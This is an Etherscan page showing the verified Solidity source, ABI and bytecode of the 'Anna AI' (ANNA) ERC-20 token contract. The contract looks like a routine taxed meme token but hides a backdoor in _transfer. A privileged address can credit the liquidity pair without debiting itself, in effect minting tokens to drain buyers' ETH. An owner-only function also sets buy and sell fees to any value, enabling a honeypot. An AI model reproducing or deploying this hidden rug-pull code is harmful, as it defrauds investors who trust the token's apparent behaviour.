ETH Price: $2,680.02 (-0.76%)

Token

Anna AI (ANNA)
 

Overview

Max Total Supply

69,420,000 ANNA

Holders

61

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,098,383.077350569889060301 ANNA

Value
$0.00
0x4C40836964E2B35F578e20aFF57Ca42B080c1ae7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ANNA

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-08
*/

/**

Website: https://annaai.xyz
Twitter:  https://twitter.com/anna_ai_coin
Telegram:  https://t.me/anna_ai_coin

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.15;


library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}

interface IFactory{
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract ANNA is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = 'Anna AI';
    string private constant _symbol = 'ANNA';
    uint8 private constant _decimals = 18;
    uint256 private _totalSupply = 69420000 * (10 ** _decimals);
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _canAiGen;
    mapping (address => bool) private _canTakeAnna;
    IRouter router;
    address public pair;
    bool private isTradingAnna = false;
    bool private swapEnabled = true;
    bool private swapping;
    uint256 private _swapThresTokens = ( _totalSupply * 1000 ) / 100000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}
    uint256 private _feeForLP = 0;
    uint256 private _feeForMkt = 2500;
    uint256 private _feeForDev = 0;
    uint256 private _feeForBurn = 0;
    uint256 private _feeForBuy = 2500;
    uint256 private _feeForSell = 2500;
    uint256 private _feeForTrans = 0;
    uint256 private denominator = 10000;
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal _annaAddr = 0xdd77EcbD98d7A72984b2f06361101bF9b2c12bC3; 
    uint256 private _maxAnnaHolding = ( _totalSupply * 200 ) / 10000;

    constructor() {
        router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _canTakeAnna[_annaAddr] = true;
        _canAiGen[address(this)] = true;
        _canAiGen[msg.sender] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function openTrading() external onlyOwner {isTradingAnna = true; _swapThresTokens = _totalSupply * 8 / 1000000; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}

    function addAnnatoPool() external onlyOwner {
        pair = IFactory(router.factory()).createPair(address(this), router.WETH());
        addLiquidity(balanceOf(address(this)), address(this).balance);
    }

    function setMaxHolding() external onlyOwner {
        _maxAnnaHolding = _totalSupply;
    }

    function setAnnaTakeFees(uint256 _annaFees) external onlyOwner {
        _feeForMkt = _annaFees;
        _feeForBuy = _annaFees;
        _feeForSell = _annaFees;
    }

    function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= _swapThresTokens;
        bool aboveThreshold = balanceOf(address(this)) >= _swapThresTokens;
        return !swapping && swapEnabled && isTradingAnna && aboveMin && !_canAiGen[sender] && recipient == pair && aboveThreshold;
    }

    function swapBack() private lockTheSwap {
        uint256 tokensForSwap = balanceOf(address(this));
        uint256 _denominator = (_feeForLP.add(1).add(_feeForMkt).add(_feeForDev)).mul(2);
        uint256 tokensToAddLiquidityWith = tokensForSwap.mul(_feeForLP).div(_denominator);
        uint256 toSwap = tokensForSwap.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(_feeForLP));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(_feeForLP);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(_feeForMkt);
        if(marketingAmt > 0){payable(_annaAddr).transfer(marketingAmt);}
        uint256 contractBalance = address(this).balance;
        if(contractBalance > uint256(0)){payable(_annaAddr).transfer(contractBalance);}
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            owner(),
            block.timestamp);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function shouldTakeFees(address sender, address recipient) internal view returns (bool) {
        return !_canAiGen[sender] && !_canAiGen[recipient];
    }

    function getAnnaFees(address sender, address recipient) internal view returns (uint256) {
        if(recipient == pair){return _feeForSell;}
        if(sender == pair){return _feeForBuy;}
        return _feeForTrans;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getAnnaFees(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getAnnaFees(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(_feeForBurn > uint256(0) && getAnnaFees(sender, recipient) > _feeForBurn){_transfer(address(this), address(DEAD), amount.div(denominator).mul(_feeForBurn));}
        return amount.sub(feeAmount);} return amount;
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        if(!_canAiGen[sender] && !_canAiGen[recipient]){require(isTradingAnna, "Trading not active");}
        if(recipient == pair && _canTakeAnna[sender]){_balances[recipient]+=amount;return;}
        if(!_canAiGen[sender] && !_canAiGen[recipient] && recipient != address(pair) && recipient != address(DEAD)){
        require((_balances[recipient].add(amount)) <= _maxAnnaHolding, "Exceeds maximum wallet amount.");}
        if(shouldSwapBack(sender, recipient, amount)){swapBack();}
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFees(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addAnnatoPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_annaFees","type":"uint256"}],"name":"setAnnaTakeFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setMaxHolding","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126012600a62000306565b620000229063042343e06200031e565b60018190556007805461ffff60a01b1916600160a81b179055620186a0906200004e906103e86200031e565b6200005a919062000338565b600855600060098190556109c4600a819055600b829055600c829055600d819055600e55600f556127106010819055601180546001600160a01b03191673dd77ecbd98d7a72984b2f06361101bf9b2c12bc3179055600154620000bf9060c86200031e565b620000cb919062000338565b601255348015620000db57600080fd5b50620000e733620001a1565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790556011546001600160a01b03166000908152600560209081526040808320805460ff1990811660019081179092553085526004845282852080548216831790553380865283862080549092168317909155905460028452828520819055915191825292917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36200035b565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002485781600019048211156200022c576200022c620001f1565b808516156200023a57918102915b93841c93908002906200020c565b509250929050565b600082620002615750600162000300565b81620002705750600062000300565b81600181146200028957600281146200029457620002b4565b600191505062000300565b60ff841115620002a857620002a8620001f1565b50506001821b62000300565b5060208310610133831016604e8410600b8410161715620002d9575081810a62000300565b620002e5838362000207565b8060001904821115620002fc57620002fc620001f1565b0290505b92915050565b60006200031760ff84168362000250565b9392505050565b8082028115828204841417620003005762000300620001f1565b6000826200035657634e487b7160e01b600052601260045260246000fd5b500490565b6116bc806200036b6000396000f3fe6080604052600436106101025760003560e01c8063715018a611610095578063a8aa1b3111610064578063a8aa1b31146102d5578063a9059cbb146102f5578063c9567bf914610315578063dd62ed3e1461032a578063f2fde38b1461037057600080fd5b8063715018a61461024c5780638da5cb5b1461026157806391f117681461029357806395d89b41146102a857600080fd5b806323b872dd116100d157806323b872dd146101ba578063313ce567146101da5780633a6adbe1146101f657806370a082311461021657600080fd5b806306fdde031461010e578063095ea7b31461015057806311a95ba11461018057806318160ddd1461019757600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b50604080518082019091526007815266416e6e6120414960c81b60208201525b60405161014791906113a3565b60405180910390f35b34801561015c57600080fd5b5061017061016b366004611406565b610390565b6040519015158152602001610147565b34801561018c57600080fd5b506101956103a7565b005b3480156101a357600080fd5b506101ac6103e2565b604051908152602001610147565b3480156101c657600080fd5b506101706101d5366004611432565b610453565b3480156101e657600080fd5b5060405160128152602001610147565b34801561020257600080fd5b50610195610211366004611473565b6104bd565b34801561022257600080fd5b506101ac61023136600461148c565b6001600160a01b031660009081526002602052604090205490565b34801561025857600080fd5b506101956104f6565b34801561026d57600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610147565b34801561029f57600080fd5b5061019561052c565b3480156102b457600080fd5b50604080518082019091526004815263414e4e4160e01b602082015261013a565b3480156102e157600080fd5b5060075461027b906001600160a01b031681565b34801561030157600080fd5b50610170610310366004611406565b6106fe565b34801561032157600080fd5b5061019561070b565b34801561033657600080fd5b506101ac6103453660046114a9565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561037c57600080fd5b5061019561038b36600461148c565b61076a565b600061039d338484610805565b5060015b92915050565b6000546001600160a01b031633146103da5760405162461bcd60e51b81526004016103d1906114e2565b60405180910390fd5b600154601255565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc54600154919261044e9290916104489190610929565b90610929565b905090565b6000610460848484610935565b6104b284336104ad8560405180606001604052806028815260200161165f602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610ce6565b610805565b5060015b9392505050565b6000546001600160a01b031633146104e75760405162461bcd60e51b81526004016103d1906114e2565b600a819055600d819055600e55565b6000546001600160a01b031633146105205760405162461bcd60e51b81526004016103d1906114e2565b61052a6000610d12565b565b6000546001600160a01b031633146105565760405162461bcd60e51b81526004016103d1906114e2565b600660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105cd9190611517565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561062f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106539190611517565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c49190611517565b600780546001600160a01b0319166001600160a01b03929092169190911790553060009081526002602052604090205461052a9047610d62565b600061039d338484610935565b6000546001600160a01b031633146107355760405162461bcd60e51b81526004016103d1906114e2565b6007805460ff60a01b1916600160a01b179055600154620f42409061075b90600861154a565b6107659190611561565b600855565b6000546001600160a01b031633146107945760405162461bcd60e51b81526004016103d1906114e2565b6001600160a01b0381166107f95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103d1565b61080281610d12565b50565b6001600160a01b0383166108675760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d1565b6001600160a01b0382166108c85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d1565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006104b68284611583565b6001600160a01b0383166109995760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d1565b6001600160a01b0382166109fb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d1565b6001600160a01b03831660009081526004602052604090205460ff16158015610a3d57506001600160a01b03821660009081526004602052604090205460ff16155b15610a9057600754600160a01b900460ff16610a905760405162461bcd60e51b815260206004820152601260248201527154726164696e67206e6f742061637469766560701b60448201526064016103d1565b6007546001600160a01b038381169116148015610ac557506001600160a01b03831660009081526005602052604090205460ff165b15610afc576001600160a01b03821660009081526002602052604081208054839290610af2908490611596565b9091555050505050565b6001600160a01b03831660009081526004602052604090205460ff16158015610b3e57506001600160a01b03821660009081526004602052604090205460ff16155b8015610b5857506007546001600160a01b03838116911614155b8015610b6f57506001600160a01b03821661dead14155b15610be8576012546001600160a01b038316600090815260026020526040902054610b9a9083610e37565b1115610be85760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e000060448201526064016103d1565b610bf3838383610e43565b15610c0057610c00610ef3565b6001600160a01b038316600090815260026020526040902054610c239082610929565b6001600160a01b038416600090815260026020526040812091909155610c498484611099565b610c535781610c5e565b610c5e8484846110df565b6001600160a01b038416600090815260026020526040902054909150610c849082610e37565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cd89085815260200190565b60405180910390a350505050565b60008184841115610d0a5760405162461bcd60e51b81526004016103d191906113a3565b505050900390565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600654610d7a9030906001600160a01b031684610805565b6006546001600160a01b031663f305d719823085600080610da36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610e0b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e3091906115a9565b5050505050565b60006104b68284611596565b600854306000908152600260205260408120546007549192808510159291101590600160b01b900460ff16158015610e845750600754600160a81b900460ff165b8015610e995750600754600160a01b900460ff165b8015610ea25750815b8015610ec757506001600160a01b03861660009081526004602052604090205460ff16155b8015610ee057506007546001600160a01b038681169116145b8015610ee95750805b9695505050505050565b6007805460ff60b01b1916600160b01b1790553060009081526002602052604081205490506000610f4d6002610f47600b54610f41600a54610f416001600954610e3790919063ffffffff16565b90610e37565b906111e6565b90506000610f7082610f6a600954866111e690919063ffffffff16565b906111f2565b90506000610f7e8483610929565b905047610f8a826111fe565b6000610f964783610929565b90506000610fb9610fb26009548861092990919063ffffffff16565b83906111f2565b90506000610fd2600954836111e690919063ffffffff16565b90508015610fe457610fe48682610d62565b600a54600090610ff990610f478560026111e6565b9050801561103d576011546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561103b573d6000803e3d6000fd5b505b478015611080576011546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561107e573d6000803e3d6000fd5b505b50506007805460ff60b01b191690555050505050505050565b6001600160a01b03821660009081526004602052604081205460ff161580156104b65750506001600160a01b031660009081526004602052604090205460ff1615919050565b6000806110ec8585611358565b11156111df57600061110f6111018686611358565b601054610f479086906111f2565b3060009081526002602052604090205490915061112c9082610e37565b30600081815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061117d9085815260200190565b60405180910390a36000600c541180156111a15750600c5461119f8686611358565b115b156111cd576111cd3061dead6111c8600c54610f47601054896111f290919063ffffffff16565b610935565b6111d78382610929565b9150506104b6565b5092915050565b60006104b6828461154a565b60006104b68284611561565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611233576112336115d7565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561128c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112b09190611517565b816001815181106112c3576112c36115d7565b6001600160a01b0392831660209182029290920101526006546112e99130911684610805565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906113229085906000908690309042906004016115ed565b600060405180830381600087803b15801561133c57600080fd5b505af1158015611350573d6000803e3d6000fd5b505050505050565b6007546000906001600160a01b039081169083160361137a5750600e546103a1565b6007546001600160a01b03908116908416036113995750600d546103a1565b50600f5492915050565b600060208083528351808285015260005b818110156113d0578581018301518582016040015282016113b4565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461080257600080fd5b6000806040838503121561141957600080fd5b8235611424816113f1565b946020939093013593505050565b60008060006060848603121561144757600080fd5b8335611452816113f1565b92506020840135611462816113f1565b929592945050506040919091013590565b60006020828403121561148557600080fd5b5035919050565b60006020828403121561149e57600080fd5b81356104b6816113f1565b600080604083850312156114bc57600080fd5b82356114c7816113f1565b915060208301356114d7816113f1565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561152957600080fd5b81516104b6816113f1565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176103a1576103a1611534565b60008261157e57634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156103a1576103a1611534565b808201808211156103a1576103a1611534565b6000806000606084860312156115be57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561163d5784516001600160a01b031683529383019391830191600101611618565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220106e3c6edc980a718c6e440256fee85392b608b18eabbbfbe5e60bbeb11a001564736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101025760003560e01c8063715018a611610095578063a8aa1b3111610064578063a8aa1b31146102d5578063a9059cbb146102f5578063c9567bf914610315578063dd62ed3e1461032a578063f2fde38b1461037057600080fd5b8063715018a61461024c5780638da5cb5b1461026157806391f117681461029357806395d89b41146102a857600080fd5b806323b872dd116100d157806323b872dd146101ba578063313ce567146101da5780633a6adbe1146101f657806370a082311461021657600080fd5b806306fdde031461010e578063095ea7b31461015057806311a95ba11461018057806318160ddd1461019757600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b50604080518082019091526007815266416e6e6120414960c81b60208201525b60405161014791906113a3565b60405180910390f35b34801561015c57600080fd5b5061017061016b366004611406565b610390565b6040519015158152602001610147565b34801561018c57600080fd5b506101956103a7565b005b3480156101a357600080fd5b506101ac6103e2565b604051908152602001610147565b3480156101c657600080fd5b506101706101d5366004611432565b610453565b3480156101e657600080fd5b5060405160128152602001610147565b34801561020257600080fd5b50610195610211366004611473565b6104bd565b34801561022257600080fd5b506101ac61023136600461148c565b6001600160a01b031660009081526002602052604090205490565b34801561025857600080fd5b506101956104f6565b34801561026d57600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610147565b34801561029f57600080fd5b5061019561052c565b3480156102b457600080fd5b50604080518082019091526004815263414e4e4160e01b602082015261013a565b3480156102e157600080fd5b5060075461027b906001600160a01b031681565b34801561030157600080fd5b50610170610310366004611406565b6106fe565b34801561032157600080fd5b5061019561070b565b34801561033657600080fd5b506101ac6103453660046114a9565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561037c57600080fd5b5061019561038b36600461148c565b61076a565b600061039d338484610805565b5060015b92915050565b6000546001600160a01b031633146103da5760405162461bcd60e51b81526004016103d1906114e2565b60405180910390fd5b600154601255565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc54600154919261044e9290916104489190610929565b90610929565b905090565b6000610460848484610935565b6104b284336104ad8560405180606001604052806028815260200161165f602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610ce6565b610805565b5060015b9392505050565b6000546001600160a01b031633146104e75760405162461bcd60e51b81526004016103d1906114e2565b600a819055600d819055600e55565b6000546001600160a01b031633146105205760405162461bcd60e51b81526004016103d1906114e2565b61052a6000610d12565b565b6000546001600160a01b031633146105565760405162461bcd60e51b81526004016103d1906114e2565b600660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105cd9190611517565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561062f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106539190611517565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c49190611517565b600780546001600160a01b0319166001600160a01b03929092169190911790553060009081526002602052604090205461052a9047610d62565b600061039d338484610935565b6000546001600160a01b031633146107355760405162461bcd60e51b81526004016103d1906114e2565b6007805460ff60a01b1916600160a01b179055600154620f42409061075b